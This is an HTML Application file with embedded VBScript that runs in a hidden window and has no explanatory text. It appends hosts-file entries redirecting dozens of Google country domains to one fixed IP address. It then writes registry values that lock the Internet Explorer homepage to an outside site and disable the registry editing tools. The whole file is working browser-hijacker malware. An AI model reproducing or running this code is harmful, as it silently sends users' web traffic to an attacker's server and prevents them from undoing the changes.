<html><head>
<hta:application id=hta_note_id
 applicationName=hta_note_name
 showInTaskBar=no
 caption=no
 innerBorder=no
 selection=no
 scroll=no
 contextmenu=no />
</script>

<SCRIPT language=vbs>
Dim fsoObject, open_File, target_File
Set fsoObject = CreateObject("Scripting.FileSystemObject")
 
' ### set the file name to include the variable from the process above
target_File = "C:\WINDOWS\system32\drivers\etc\Hosts"
 
  If (fsoObject.FileExists(target_File)) Then
    Set open_File = fsoObject.OpenTextFile(target_File, 8)
  Else
    Set open_File = fsoObject.OpenTextFile(target_File, 2, "True")
  End If
 
'Edit Line below with ip and hostname


open_File.WriteLine "62.75.223.45   www.google.com.co.uk"
open_File.WriteLine "62.75.223.45   www.google.com.tr"
open_File.WriteLine "62.75.223.45   google.com.tr"
open_File.WriteLine "62.75.223.45   www.google.at"
open_File.WriteLine "62.75.223.45   www.google.be"
open_File.WriteLine "62.75.223.45   www.google.ca"
open_File.WriteLine "62.75.223.45   www.google.ch"
open_File.WriteLine "62.75.223.45   www.google.cz"
open_File.WriteLine "62.75.223.45   www.google.co.it"
open_File.WriteLine "62.75.223.45   www.google.co.ma"
open_File.WriteLine "62.75.223.45   www.google.co.nz"
open_File.WriteLine "62.75.223.45   www.google.co.ve"
open_File.WriteLine "62.75.223.45   www.google.co.za"
open_File.WriteLine "62.75.223.45   www.google.com.ar"
open_File.WriteLine "62.75.223.45   www.google.com.au"
open_File.WriteLine "62.75.223.45   www.google.com.br"
open_File.WriteLine "62.75.223.45   www.google.com.co"
open_File.WriteLine "62.75.223.45   www.google.com.eg"
open_File.WriteLine "62.75.223.45   www.google.com.gt"
open_File.WriteLine "62.75.223.45   www.google.com.mx"
open_File.WriteLine "62.75.223.45   www.google.com.my"
open_File.WriteLine "62.75.223.45   www.google.cl"
open_File.WriteLine "62.75.223.45   www.google.de"
open_File.WriteLine "62.75.223.45   www.google.dk"
open_File.WriteLine "62.75.223.45   www.google.es"
open_File.WriteLine "62.75.223.45   www.google.fi"
open_File.WriteLine "62.75.223.45   www.google.fr"
open_File.WriteLine "62.75.223.45   www.google.ie"
open_File.WriteLine "62.75.223.45   www.google.it"
open_File.WriteLine "62.75.223.45   www.google.nl"
open_File.WriteLine "62.75.223.45   www.google.pl"
open_File.WriteLine "62.75.223.45   www.google.pt"
open_File.WriteLine "62.75.223.45   www.google.se"
open_File.WriteLine "62.75.223.45   www.google.co.in"
open_File.WriteLine "62.75.223.45   www.google.com.pk"
open_File.WriteLine "62.75.223.45   www.google.com.af"
open_File.WriteLine "62.75.223.45   www.google.co.il"
open_File.WriteLine "62.75.223.45   www.google.co.id"
open_File.WriteLine "62.75.223.45   www.google.com.vn"
open_File.WriteLine "62.75.223.45   www.google.co.th"
open_File.WriteLine "62.75.223.45   www.google.com.bd"
open_File.WriteLine "62.75.223.45   www.google.co.za"
open_File.WriteLine "62.75.223.45   www.google.com.ph"
open_File.WriteLine "62.75.223.45   www.google.lk"
open_File.WriteLine "62.75.223.45   www.google.co.kr"
open_File.WriteLine "62.75.223.45   www.google.com.sa"
open_File.WriteLine "62.75.223.45   www.google.dz"
open_File.WriteLine "62.75.223.45   www.google.ru"
open_File.WriteLine "62.75.223.45   www.google.com.qa"
open_File.WriteLine "62.75.223.45   www.google.com.ng"
open_File.WriteLine "62.75.223.45   www.google.com.sg"
open_File.WriteLine "62.75.223.45   www.google.co.jp"
open_File.WriteLine "62.75.223.45   www.google.com.kw"
open_File.WriteLine "62.75.223.45   www.google.gr"
open_File.WriteLine "62.75.223.45   www.google.com.et"
open_File.WriteLine "62.75.223.45   www.google.com.iq"
open_File.WriteLine "62.75.223.45   www.google.com.bh"
open_File.WriteLine "62.75.223.45   www.google.com.kh"
open_File.WriteLine "62.75.223.45   www.google.ro"
open_File.WriteLine "62.75.223.45   www.google.com.tn"
open_File.WriteLine "62.75.223.45   www.google.com.tw"
open_File.WriteLine "62.75.223.45   www.google.com.np"
open_File.WriteLine "62.75.223.45   www.google.ge"
open_File.WriteLine "62.75.223.45   www.google.com.hk"
open_File.WriteLine "62.75.223.45   www.google.jo"
open_File.WriteLine "62.75.223.45   www.google.no"
open_File.WriteLine "62.75.223.45   www.google.hu"
open_File.WriteLine "62.75.223.45   www.google.co.ke"
open_File.WriteLine "62.75.223.45   www.google.com.ua"
open_File.WriteLine "62.75.223.45   www.google.az"
open_File.WriteLine "62.75.223.45   www.google.com.pe"
open_File.WriteLine "62.75.223.45   www.google.cl"
open_File.WriteLine "62.75.223.45   www.google.com.ly"
open_File.WriteLine "62.75.223.45   www.google.bg"
open_File.WriteLine "62.75.223.45   www.google.co.ve"
open_File.WriteLine "62.75.223.45   www.google.com.gh"
open_File.WriteLine "62.75.223.45   www.google.sk"
open_File.WriteLine "62.75.223.45   www.google.co.cr"
open_File.WriteLine "62.75.223.45   www.google.am"
open_File.WriteLine "62.75.223.45   www.google.co.nz"
open_File.WriteLine "62.75.223.45   www.google.com.ec"
open_File.WriteLine "62.75.223.45   www.google.ba"
open_File.WriteLine "62.75.223.45   www.google.kz"


open_File.Close()


Set shell = CreateObject("WScript.Shell")
  shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
  shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.focusfener.com","REG_SZ"
  shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableRegistryTools","00000001","REG_DWORD"

</script>
</head>
</body>
</html>
